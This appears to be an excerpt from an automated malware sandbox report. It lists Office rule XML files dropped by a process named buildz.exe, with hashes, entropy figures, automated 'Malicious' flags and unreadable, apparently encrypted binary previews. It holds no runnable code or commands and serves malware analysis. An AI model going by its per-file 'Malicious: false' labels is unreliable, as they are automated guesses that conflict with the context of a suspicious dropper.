Preview:	<?xml..%y......{...U.....-..6.].d.}x.EG;....^,.k.........$.TP...P.=6...V.....C]..DS$...q..r.5.R..S...[8\|q.....hs..k.M.^..l.O....[".DvE......W.rE..t:R..f.;..h.....h.K.P.............m).>.\4..?...r>N.x.....%1...%.\|....d.]..:..Y..xo.u%X....VI6f.......a../..?..y. a.A.jC.......;`V.B..P.X.......F.^...\%+..v.@8...T..G.G.&.Ov..(.k.._.'.D!A.@.W.e..B.t.WT#`......AH..@oTQ.3....._._.)....@....1N#.zT<.@.....(1..]mT........1..!..\|4.#+.HM{.{..........Z.dMk..@....!Jf .-)6.:....`F0..T..r.?.....@D......V..?..0.=n.....W;".v..lP>...6#f..6y......J.l$.J..2.#wD...#].HV7\7"...x.u;.."Lx.$/@W.Z.....o8.+7.yQ.@....H.;....yI.U.XS;/..}.t2..&(.)...y.33....}V.F.....J.k...7.J.......H.q..c....&p.E.d[0..tF.C.z/....)-.N=5.Y..<3..e.{..#..,..`q3S.....h.?3...3.."`...6..{-..e.G&....,.d.X....v.i..,;..P..}..=...2^..>].O..m.z2.O...Pig....Ku.......x.Y.....3....Hy...$.;.K..s.u)..0)l.hoY%..b?.#. xsx....[.w..i\.....q....e.//.I.\|.5X....8a.............{K...o......Z...m.ny..!.pU

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.7191547641278735
Encrypted:	false
SSDEEP:	24:4U8KrPdr/qy+vdYrz98tNwGwoMVT+t2PUbD:oKzZSy+Yrz98tGEe6t2WD
MD5:	3559C89C4E1FC621B4AFD42765CBE18E
SHA1:	D8A9B5AF76001DD788E93A85643ACF02130753BB
SHA-256:	52E3DD3878FBDB53117E1ED7E785B49E953B5BE4861F0AF08FA56A3DBA11869F
SHA-512:	72B822116FE42DF5A6D6B083EE4E9A848E53D4F93A11F95EC0FECB196EC9379726AB879E9ABCB6B77D5E4DCC6C4367F5685467C9B29293F0D0A933EA2B9BE73F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.P{........\|....../.h...9.....q...?..g...C...\|1...w..A.."F... ..1.........n..\.E.uo......7M..?<-k.l..{3......_\|4...h.e.....4d3[.C.u.s...^j..4..G...h.0...u..0). ...f.J}....(.G.."4[..<N..24...Z.9......'.i.!.a.l..(/.5.dPny..B.h{=...xg+Ta.....n...S.Y...G...\|P%#.57@.y... ..A#n..f....j:.5.)..I.@.....r...v...'..@m.#..1..5.S.....RP.eL7...R...8...=:.nX.I..-..'..6....H.E.H@.........''S.u.O........w..$.+.c..Q.....rnp.W.........>.....oN".sec..J'P0.z~.hc8s...PZa...?.&Dz\|J....imm..!.....n..ZJ ..M....r......y..AO....iN.!.....=..`.{..v....<:B..........Z/..B...X.D..\a..VG.F\B.mU.y...C..j8D..K..;..8..............S.......U......%...].y'.'@.Zm.7G=.DX...?_X../.cP*...PSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.744952245936955
Encrypted:	false
SSDEEP:	24:Ffsr7TF1tjJvqjaWc6Jur2mQxoVBJkaLy/sbD:9sr7Z1tNp152hoVnpD
MD5:	9E49FC37B43CF7EAE394FF0DA6E81FF0
SHA1:	6F52A3F9A5F6FF36482F9420A3F0CB4958A3FF21
SHA-256:	5593BF769F020F15DF858E580730EA6B0600827966281DD62FD14A892BAD4D0C
SHA-512:	7E4A8D57389841E001A9FA8AA9A52E4535EC8A01100BCD22DDFF10E2EC868C55A84BF11F1EC8F3EFF76A5CE6B382336387C684CB2B8AB729AACFBC01748690E3
Malicious:	false
Reputation:	unknown
Preview:	<?xmlK?...#-nA...zsC.9.K0...C...U....J.9.@......q.".r......_B..H.....B.......-^..1.qL..._......p....j........1........i.4.K6T@<....6.'.M.[..y\I..m.4D...c.9c.w.V.B. ..-..d\|..X...\.]..<n......#.;.p.H.........)..[f..<V...&.....d..t.........s.G.[B.H .I.....M..zA.p.......T.b.....'.#...l.%....o.j...l.....y........K.).1..h[..w7...!....>.`....=.5..9r.....#.e.-.+P/\C..../..oE.}.....n......{0..\|.Qh;.....-G...l.......Q...LA.m8.......#.u...V.....$......0..1......`K..8..._.X.Z....l#..pb...'.%.r..+.22.,f.o...`..5x.g._O.......;..,.QI......`..<... ..&..Lr.SU.......To.......h..B.>.mq4.Z..w..7....$fG!ri.6,..7.. S....b...._f....f..E56.....}\..s.+.X...J.0o..L."k..y..p..R..+.....'..P...;.3....T.7.j...M<......'....G..To5...<..3.$I........O.-h..1.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.914779649728941
Encrypted:	false
SSDEEP:	48:Dc2dPm+LC5vxhll4Sz/2Pqhsg58X7JHw1OzgJKmD:Q2dOtzll4SbwSsTVHMwqf
MD5:	6D1F8D916BE59CB774A21011FB5730CE
SHA1:	8F03CB8F348F8250646B555B753AE66486170A18
SHA-256:	D32818E8610594505AC0737ABA16D4506C1E3D135E5C2F0E0335B9B0D799EDA9
SHA-512:	FC1F052868CB88D30232B6EF042029BD7F08FE857759D2297E9ED07612303CCACBEA4A0AE328BC21EB73DEABFFC991EF97A773B332C46BE056C99308BD3538FE
Malicious:	false
Reputation:	unknown
Preview:	<?xml...fs'.A...'...........P..M.z.k....`^.,e....!5~.?...Bfg......... ..g.J#..z..\s(..`..t..(zDOf<.y..y....\|t.N..4.....xB..(.(,...........ecRe@...$..N.,5....H....[....M...M...&/.16.....vt......N...D... ....`..p...........4........Q.$...O....5K.6.KCk.PF.k....mj$W.43..K.Q......A.nG.f.#z$.`:V......5W..he.s.Q.I."G..~..b.f..V..!....:^km....Iq.I..t...Q.!x....S?=..?L.R7..H.... t....(...$.v.j.....cg.u'..mj....[...'........v.6.o......f0f..._....\..9.TF7..T...Ff...]G..,b.^..}.Z.EBgG........4...@T..}4O;.^...<.5rMn.1+2K...Hoh.6s7.CW...."X.+..m.L.3).......YMh.&~P.C...].Y#tEo3S,2....K-#..6'. .~./qf..++......i..p..... ..nV.F.P4.\R.. ..Sa........86...........N....D.,.mS....Q..~...XX..9.!.....9...,8....s.v..+\|XY....8....@.]@...8BF.<t...9..QI..]G.....4.....=..!.F..@......n.r.....l..].XJ.-...&.N^...o#>8.KQT.........QD...F3........c...l...Q..Q"}.^.2....Tn..Hu!.V..?D..`?Ys....`....8mu...$3.......z.>CI\|.5..W..6.].>..K.3.?.j.OIV..6YA..Y.}..zBM........E..V...9...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.969326328288858
Encrypted:	false
SSDEEP:	96:27iQW4ZWPpQOk+2oj6lm/qhcVIzSDt263eOTLt+oDf9uVOCJGaRBpbnLc9Bipkp5:miIZWhQB+2VlAIG52639UocjJrBpro9v
MD5:	D7B29EB19856C4868E7A3C689D57E80A
SHA1:	1607B83374A92CB6E77CD9978D7577BFA3EA4596
SHA-256:	7FE950CE8872D22AF9D30C48D7BE4C9F6F6220A5D02962F076FA6E3DC5638841
SHA-512:	427AFCC100BD8DF604C79E9143DEF5D93AC475E9B9833ED9808A52B24EA601258B9EF7A93EC8335BBF1A631207173C8739039FCD545BEA65C8EF3442FB602D8C
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....}H#pa...(.."...[.A...>...\..'..x:..e......._.\......Q,H^.......6.....O./...$.[..3.H...}....H.H....3n.{\...........t#.n.p.-.#.....x.C....>.L....e...+..i.a.e.:.K.w........t9U.3].F;V..:.\|2@3..oQ..]..:....z.L.."U..4.`...[ik?..-5.v........~]...]td..SC.^Do....nv@>.X..Z.5&4.m....^4.[#..b.............?D.WX@.A.`.Q................N.Nv...2l..^..@..{..S............7.P...\........oq.......=...P.W..C{,...%.5-(.0b%/....3.v~u........cU`..8..R.@..5.W.3......)g?~..1l\|.eq.9.^...).0N.Y.DT.N...Z.y.EL.N...>.D...^.9....f.Xk..^.sI.....m.`.@.H...& ..P%.$$..{).IO.e..q. ..@.X#..[.!.H...W~..qbq............\|....p\......>.P.......4 1............h.$...T.pl(.....n....`.Yk... x.vvy.....LT..Az.$X..`..114...f(x..(...mS.Hj..eE.......N.../....Ks.....wS.:s.N.HU_.....N.&"...VKS.i....`.i.(...y.V.1.M_...jM<.....?......,i...._S>t3T ..O...c.\\...H..._.g.V.H.D.m.......jCPim..q..b.Q....[..'RJ{...3.3.O.Z1...aq....HC......d..s~...8z0.i.-M.mN.2V.......Zu..B..p?P...5..\|.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.857641204641631
Encrypted:	false
SSDEEP:	24:4ymg/hTA/LktV4YRPsz1BVWsdTTduitucMPXT72NnkTNF655IrO9YnizISWNVKCX:jmoToLkE0GDVWshduMu1PH2NkZF6LYnX
MD5:	F411AFA8FA2BC0EA3C885C8FD98D9724
SHA1:	6A6BF0EF20D8FE5F5EE18F01A5CD3A7F28D60ADC
SHA-256:	08C5D535F930FA5D2A15575151F000D36D5A2FE4A2328E1D6F0E0A688867DC33
SHA-512:	C01C78F7147E948C6A68BB2F62E4807C3A565F0B99A1C4D6603AFFAD2F781B7BC666813584B8842115E627A9CB904D0A6E9828249F4DDBEFCDAB2255CA2D179A
Malicious:	false
Reputation:	unknown
Preview:	<?xml...;...L.....S.....0.-ja5..u[.Ep.N.m.O.i....-zA..7.).....i\|1o.N.K(......h3......6pW.....(....I.~.C.,h...g....P=.....r".z...V........../.~...P.U5s.4..J(....>S..p@?.2.r..7.l,.......%..;N.c.U.9r....q....u%...d{.@..sX.=...c.U......%.5...I%f.6a. ..s..2._V..3...B...\OT..:;.d.o..1.S......H(..`:.w_\|..].O.G;.....h p.gm.#...+;....#W.m..y5.......Z....;.....v..7~c?DP.[.,..r.......\.\B_5.:...0...\.+..O.ru......z....,.<.,....y.X%x....\|.-D...........}!-..x.b..f.n}...'.ny./.C.O......s.. ...%4pI...9.....,Y.. c.O.F.........Z.<.r2.GY}W....`z@......@....k.x.vS.9....@..?i!.e.n........f....LG.c........Vt.\|o4I..l...=..(..5k..@..O....`>.....6..n....3N.\,...o..W;i......jm.>T6f..-...F........&..(.g..k.}..QF'T....W..@ ;.....l2.t3......T.e.q.B}.r#...:@p...F.Epd../.......T..Pe>Y.m..k.......@..........Q........G.....I.=.....c:.I.q.Q/....b./0h.}'...k..A.h(....csa.h..\|...@.....;y.U..1...b.W.L..K..P.)....o..t..z.C.....O......o...a,.U8......6....n.J}m9..UJE8m...2l.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.821546805611529
Encrypted:	false
SSDEEP:	24:VwK+cupngf8/eq3zh9hcnTyPP7qpHYKPCTMV6fThNnUbD:VFBupnk8/fhr+pKLVNn+D
MD5:	4A38B63095109C8E7CC20E3F8E50FDBD
SHA1:	DC9594091D09D70441F64EA5342DC2CAEE276DF4
SHA-256:	CA78601517C132325E5650204F3BFCC650D34043F036FFC13071A8CCE964D8D9
SHA-512:	C210387CA2F9ACF996BE5FE88CB25228FEB38DE36A94A658C0B78E072BD3201BA53474606EB824FC536575FE0E38B8DD8962958DC4F8F085B3F5498ED25AF3A7
Malicious:	false
Reputation:	unknown
Preview:	<?xml&....D.0.O.{.hS....l.V.$5...x.Z.I=\..`,...5.y.V8.hb.m..+%..u.....x..g\|.r...(N......s&.U....~..i2%s.......\J~y..p.....O.....VD....k.0..sB..4V.5.L.N4=.\|3.&)(.q..Z.$fL.R..-......2..S#.EX'.....<..061.....]L.X[{...r..L..U...aNK....cF@...[.......f....]=.\....._........~........O.j:.&.n....\..?8[.g ..n...S...&...@.....n.6P.U+.;..I.....Ay.....>..#X....;.3.....s.......qP..s...e/..4)hk.....tH.......4......L. ..uT5.A...%.,...iQ..)..pC..O+OV1Lh3....d..P..........s.47...A@Q..a....M....A.m.}....~Q.;Q..."..l......."(' j.L........Q.et...zG...7..N.1~89...ivk......8...q.W...`f...v1,.....d.^...$M9...dJv.....IJ.E.....@.a:...@6.hS5. ...+.p1g.qUT.[.i.........G:.Z!.3g...+.R..(.`. ...K...../0.@o..+.%..}..&C.P\.#.N....1B.....#$7e.C.L.=I.B..vY.E..t..~}g.g&........._K..%NX].xGiO.y.......f.]J..X..B'.m........\.\r;....O.v..".......4..W..5.wu.i..q...2..<t.7............rx2e...x.&lW}....o..U....x..H`..%....7m.kr.....T..P.......a...u..f.y......d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.950928818167261
Encrypted:	false
SSDEEP:	96:c002JxNJM/MuocN1IYODkadMQyQSXguJlm/iEsZiJHiOWY:cPyxNJM/qyItkYMGkRbmaEsZiBiOx
MD5:	97C8373DB7526245E40FFE72873476AC
SHA1:	3E0A5CE5608B7731FBD0A6C6EC88390B9962266F
SHA-256:	944748285A857F23621DBEF4A6074D61149D88DBE950F38E39A2760510248B51
SHA-512:	5CC5598760CA603BC7154E44681A429BEC43F4E8CAA32D967517CAEE8165ACD2016C08E3F66566E912DBFAFC0473EEFCAC362D560E562F94DE9173345DEC97D3
Malicious:	false
Reputation:	unknown
Preview:	<?xml..~......$..MY.\|...5G.T"..^.....(^....Id...){. J..Xk...Cl.V.\|.......'.{..K.y4.. ..._.P.Y.K.'..@].-...D...... .K.+2..pv..f...!.1.)..^..W..n.5.vq.6P...@.R..+9.Q-.W.R\..n..o.. ..._....@.:...B.d.........X.w..........0...:+.S........../.h"..iX......`.Ega.....f/g.^H...k......E...Ua.p_;..{....IVR.....`........./....wEm.R...5Kg..A..u4~T.[..xBV.R:.I.s..K..2.............0&.f...c..j.pXK....1<.l.o..g3VY....+.W....C(0....{...H.z\5.V..$.w..#^".'...9.....9..9D.O...4.....<D{u7$^.N.s.6...w....J....!;.=5g.KS\..H...('....U>.fE..J.....U#..I(..d..._aiHZF.<........@....s.'oi}.!'55V.".i>m..Pq..Z..w..w..!.n6g..u2.W...VAU..t..`P.,..0.p.A.r.6..Q........H.e.*...H.U....J...:P.Q..{$.....O..)...#t%o...>.U.H..X}....B...GY...V.B+4o.f.....1......z[.......8\|H.e]s.N2g......H.....j.T..p."E.z.....,._..h\."`.#.......=.`..l.\S4..[..C.$....;MR..k......Sc.. R.j.OO..].W.%..dw(..........s-O..........)......G.,.mN.... a@9.n..3.mQ....qTZ.<t..9$.?...zXa....I=?..]v...SZ.6h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.79347597803396
Encrypted:	false
SSDEEP:	24:YJKgYyrCJoQ09Gb+56ej1TqVUbwzNBT/Dk2wPpJYfyF9bD:9EDQwGbEj12ZNhAwQ9D
MD5:	6A8AFACC48C24FC960159C2E831A9E99
SHA1:	B196B52D8E33F673F8FBF77395A06BF00ADF7439
SHA-256:	275A4530010CDEC4076DEABCCC9AD4A1DF19F7636D73F98FED01197C0353747D
SHA-512:	860BFE49894B17F00D2F8536815056FBCA36B517C6FC9BFCAD2E0330EC18A7B94AFBC0223AEF7B04DA10D7E150DB50C6EA34D18CD78D4C63BE10C22AFAF93B4D
Malicious:	false
Reputation:	unknown
Preview:	<?xml%...T..i.%(.+....u..6.Z%.;..'.....1'.U....Q. .D...Y....a%Z.....G^......l.8.LD....D\f..<..>T..#....hf^..1s....&I.-..@2.=......h.{;..Q..K7.f..Z6..L..&u.{...w....C.>...&-...!.D..A...w..h...r5:W..?.j....+?.....#:.~..._7...8..&=.{....R.j.=..j.\|{t[..{+...O.Y0.....evP.2.9.qK.8.z....6.7.E.%..kQYn...<@.BP[..q.\............(0E...........x....q.y....'._....>.{.G.X...P..y......^...}...7l..@&..Mj.O...1...[..cub...T.H."7r.b.IB.?Tg../.......H...$.L.>...G.t....uy_4kq.ad.S.?..$.&Q.:.u=.\..Q.#.c..zq.....B.... .W..y...!.D#..fql....}.w..f.....`.ue'>m7....Ckjj..p.eYY.W.:(....X$t...Y.<.2............"..6.p1L..N......2.L..y.g.vF.....tCX7.....F.#.r.e.ecS.-p.6...%.ch.).......U.....~........>T....f..C.%t.`..._.JW.n..Oc.2#.....wP.e.....=/K....Q}.L).S.#.-+....'.3.JfP.......i..sY..okhA.,c.."...'K.y...1...i._7..^g10..a..L...89...u.....V.QP..H..C...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.840438562382541
Encrypted:	false
SSDEEP:	24:LtgtLznMedhUa+wjVlucNge4Lw2Bif3E/yxGzN2mWsYoq269RUvRjbD:L0LznMediadXNXsZ2U/ywh0P9RAD
MD5:	AC75243B85B60818AA87099D44A79258
SHA1:	420BACD24CF6E9278B8DA97C36A4B136813F76B2
SHA-256:	40ACFA7F13085637A13A5A8BB35366C72C119D1F22D79EC1F134C9EF733D5E5D
SHA-512:	9351545E9221B8747DBB11F0FFC01599548A30D83852DD8ECDBAC3A461D3E08F869E1ED01CAA886E365688A30BB03D7A05EBCEE7337F1FD4B2DF18B07B1EC065
Malicious:	false
Reputation:	unknown
Preview:	<?xml.]V.n{._..=7Y;&X.r@.V2.dD?.a...xs..).G`...7.O...^.l1.9...?..&..S.UF...#bI....1.....rS<A......".D.........96/B.e....7.f.@YF....x.c.1..+@.;lU.....Z..b....1...{...,C&qb.3...&!.q.D:.x......\|7..:17r......8wp...f.M.}<..\,...hN.[.........3>..[N.k...g.5;<~t.\|...>.y.}..H...20.[9.(-...zc........0...U.k..[..a3..vQ.V.[.\|.gYD=....;M...-.Ky..5.._"C7..q..U.... ..... .`V....G..y...p.s@#.J..y..\|......c...v.t.....h.<q/....p....h.<u..,....Ui....x5~+r.....z.......l_QA.T..3.v/....M....Q:....$..X..qx.T...(.G....P....g.v........w?..'...e...'X+.@5..."Q.C?..9.=....L6BMo[U..w..s.!....%g._.'.......T....(.X..(.h.......%...!_.eJ..@...u$q........R.V.r.A....e..D.....K..)#u.9....\|......(V.s0.%..&8YwP......J...(l.E....M......z...;..?../R1...@.8P9.Vy9...er..[..{}...5 j!.Ka.}.6.9bD....\|.S..R.V2.?<.Y..d~.=.~).k.......O.A.CaR..../Y%5.y.j.......`..A.........`....<.C.IV.k...e.._.....`.9h..bu.Y.dc.tZ.pY..9H.{.........h..3..4"....y......nX...^5.*..>C].-M.E..y...IB..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.712465244612021
Encrypted:	false
SSDEEP:	12:bHeufpXHqs3wketeOMY8A/c/KfODggyzEsN1YXV4fWCE84pqFvRiQSCLP63rknw4:bHeyp3/3wketeOMOcvZyzbNGXauCEBg9
MD5:	AC954AEC7414E767D236C49C65EB0058
SHA1:	68A1DCFAEE1FA619D05BA881899DCE4F1DAFC851
SHA-256:	952D306EA3F1B9BE98B6830BEB6E65F979E3A4CFF3EE49946A161014F45A555B
SHA-512:	D978A700CB6515ECE53785AF159CDB7C5E749A37C4395D376494AD53A1913D3D6C872EA17AA64BBCA3B68BEF0D423965B163518649AB227D365026E679D2A6F6
Malicious:	false
Reputation:	unknown
Preview:	<?xml.lp(LD.A..xL5R:j....v.Z..........h.. ..%M..A..Y~.y.....C..K.......X.....HX.p......%..7......SPi...s..V..^K.kY..P_..pKqU....k..=`.....<H.c.+j4Q..%..r........*..C.1.....3.\|..+X.g..a42&.U.........R..mT....=o.{3.\tx..a./..<..7q`.o.F....~_.w{..d w[+. .....k.WkW..B..Ktb....d..<...L........6.+...^Pa...`...6..V......g.S..^,.o..~..G.;\|.d....N.a...SV..Aj.BP.e....?.6.U........!....s.......6..1.. \|)<(U........g..Y..i.o.FK<...L...&.:qG.WI).k....Li...g..4..../6........9c.....Z.F@..L.e..:......Tl....X...h.w......#.`~G...!.{......l."..sh....i..X.Xt.Y.z...D..<.Y...../.[.>.]...7...^Jn+....I..k^..\.n&..Z.m.3..........jz..QMo9SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.941933802004034
Encrypted:	false
SSDEEP:	48:gnCWtNEOvZogGu83cpJOUCq7u5GYvqtR0iDdvWizNStU4K+XzEUV/fgP9oaWgyws:FORzGu83aCqSeR0iJViK+XYi89oYyT9r
MD5:	0ECFCC14A42EF6D31D99548722793A23
SHA1:	6875A95D2AF278C22E3FEDC0124D14BC85B29EDA
SHA-256:	67A51036E4FC32F37C439B478FC8F8CCE523DA79EB0346A54AA01C58B4576C0A
SHA-512:	D2183C377556EFABB65ADDDDE87574DF56EAA7A41E47E180842CAECE88F2ADEB2C5ADBC937A8BEA1FDBDBB0076AE3E61FE3D9666F7EAC8777F9D855F42A82799
Malicious:	false
Reputation:	unknown
Preview:	<?xml]...U....-i..Z...+.::.......m.Y....rM.?Ql}........u}....b..;.@!DSv.....=.4..8$...V.....5....s.....N......._.WA^. .......SY..R.9..`A...9."...z.mk. 8..Y.kS.>..f..#.......H..1P?..i.5US.xt.v...F.{..M.".-(.8..B..V...AA...\|...Kh1'y.{...IN.....I6...m.A.6(....R..E..v:}!,..].][...c..7..$.....W01$....!...........+y....G..+K..n.e...%....9...C.....RUU.^...Z....%.....E6&w..k>;...L.p...#..Y..6b... jT..OmR....:X .^................xb.$-9.O.....06.{3,..F.(S'...f.....(mB..s,.<.a.$.V[0.s.W0...5.).....&...B..L..K..a.C..8h.W"Wb.8..S......g0..MO........Mk!....`..s.}.0..v.ja>t..!..I>..a6.(..6.YT..h....ck..K..'..k..#U:..W....R.LD....N..q.&.w0..Sn$..n.<....*0.O+J..L..FK...%+..'\|]z........_K0.~.P.3.u.Er....+........F..e..{...hg.. }.......+...s.W=6..._,..-I.9.V..jE......Kzy.>....-..;...x....9.1.....O.P.}.R.x..Y2.n6hu.P.....\|?-.....8Nm.....Q.......$.mn%^@B...K..=........pB.=y.....E{.s..HFu.E...P..D..,.e4.K.8.N...../....ExZ...M...X.}gYU...[.S\|....X.!!5_ .Hzj}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.70034759125048
Encrypted:	false
SSDEEP:	12:UokCc5SMA61kEA/3C10VEpNhjUaEx6/rC314eyu72NrYNgt96M1+cii9a:MCcFA61L713jqx62ipJrAHbD
MD5:	E6F2FB87B87BEDE0032EA32EEFDCD183
SHA1:	DE2C4C49FBA969F8B67A1879FD5DC16AA7B1E952
SHA-256:	2419B21F2B4CB72E455C70CA51AAA50AE20D0DC60000F9F5B0386D65D207ECE7
SHA-512:	4FB8120B3270BD35E7256D0ECB2F9EEFAEF3050E05DFBBB716BAF84A63327D40412658EEFFA3A706022FB29EDDE628BFE4F1862EB7C6D53DF956F007CB151CCF
Malicious:	false
Reputation:	unknown
Preview:	<?xml...w..B.o.i9....{.D.?.....T...\8........O.C.2.<w...r.=..........cz..u.W(.e..m$ z..f9^.^..&u6.(..:O...+.o.!..r.>.x8.$.Y-.dV..s(+T..F...o.d:.F.s~. .U.......u.zvCE...W.......`...[E`..b\.%..P...._..b\..1.8.=F7i...1K...B..\Io.D.H.=Sw...k.........gM....'..J^.y..V..\#?A..#....w.F"x.\|...~.a.o./9....3@.....;..C.%X....L...X.3.m:._)C/...k.#..6.9....!..3...;..w.l.}4..>...i...w..X:........?+.W..h+;....E....=.#..Y..Yw...{e.............9.o.......,.{...).f&._...y}x..$:.q.qn...."".......I<N.w..o..Z_.u...v!.qI}w...._RT...!L.......3).F....:.{k.4.@...T@.."!g\|!..R.RB.\..R.G..5..O.&?(T.t.a.W...lot..YA...G#...R..a...q.!.R....(.,Y..^5I..h.M......._nt..]...B.t.X.bv.....@...O.W[SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.91975058181414
Encrypted:	false
SSDEEP:	48:In8AMQ5jJ5Vu0TYD2rRpKx3SJRHoB5NtrzYMgD:mH5NJTa2mxiDHo3NtnQ
MD5:	C31CEF1424466F01FBB358F24B753A00
SHA1:	63F5761EA5411950E389396B0980455BBEF7972F
SHA-256:	19B9A6F953CA21E3077BAA649A21D5A9A1BD9D125F518340D94D168756695E36
SHA-512:	DEBECA097ED5E6AA9825D867069CBDB22654930641C2828BE6E9630B95559A53AE31B4E38D5FA2A9DC6805BEACF845A99AFA5FD90F26F77D4B1DD994E2B84B25
Malicious:	false
Reputation:	unknown
Preview:	<?xmlt..E".A.].~'^hj8<%X...............9....:;....B..{&.SwV..d..f..._..-.a.g.G.........wl"./.....>.eOvw_...`.....%>..~...["o.....U.6Hr..ek..1..m..@.............3..+...!r..$Ba......+q`........A....g.'o...tAd.u.eG.n.)j.'.WW..X...'...Y.. ...n..1SV..J...%.+.....>.m("t.\|.qY...&..m.P`<\).(.L..3x^.-x.wK2B.w.. HE...`O.N[N.....k.\!-...`........#[F<.._^.e..X..N....s.!e2h....="..'_.o5~C.%.A.M...."..^....o.1%..0@...1G.....}..On.k\...p..tJX..q.4..F.{.ka.P%7./....8.\|D...9T..}..a.8.r..O.d%+.2...Xa<.F8.#.^.,....-.8@......+)......*..U...z.w1s..N^R]..0...P&.h{?n^..aD...9".......:.I..5I.... ......T.:.`.........D.C...%.O..!.P.].)..4.m....#..p......+..._....d..Si..~.}..Nlwg...S..7.,.c..u..%.v..k....2..J.....:..p.).E.._.~..._eWy..._.~D5kV...GE?....~....<.....@.Y...}..OQ..Dn.Mm+.R...kn...O....n..H...NoK.c.C...#.n...f4....,.QM`.v/.D.8\|......T. k....%\.JP.t..P.R.....R...a......oo..=..5.~1c.... ...w......@.}I@.'......Y.z."$.........SWu?K.w......a....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.9953498975467125
Encrypted:	true
SSDEEP:	768:p9PFyYcqO7VhqtOHkMt0FTTNG0sLbVXgnn5pyUyRBcskDJV1:jiqAhsGku0FTTy1XunSUyXclJr
MD5:	83B25D0AAB450F3699FA43315E5D1397
SHA1:	8D5E4D1B6738D1B019160C5DFB337A6B1E1904AA
SHA-256:	74A7A964E5F25EA783812BE8FB5E06DBFAEA77E823E44C7A8E05F6D3B0A1D900
SHA-512:	5FD77C02DD351B24CEAC58B4DAF791B40702545B450C194DC4B815A46E35805AF8FD32A2BDB57E9F00C5588A8CC446EF7C60D31466107D8549B5297128B0477E
Malicious:	true
Reputation:	unknown
Preview:	<?xml.?7n.of3.......R.C.>.o.....\jz.......5{..+.P6...A.0k'...e.1.`7..4..v7..\|M............6..4/...........B)t. ..?/?.6KJ.3.......x.n...@..DV.E@.8.....@.\.LX]0n.j.A..:...c:./..g.'&Z......p........^.6.H..u.k.I6.8.gc..8./.qW.W......s!.\...??l..4..0..s.....#.4.ezs.U.(....l.2.r...1.;K.......M1.sA.SW..r..O.^.{k.....c!.q..@..A.t7>...94.......L.l.p...{........P.eF...Lz..\|u....E...#....i..5..5...i.`Y....gG..~..Bt}..>..;.....'....N.E ..c=P.<..U[......:.-.8..... .HE.....S.5...8..g....m...?..3?..........}......a.. 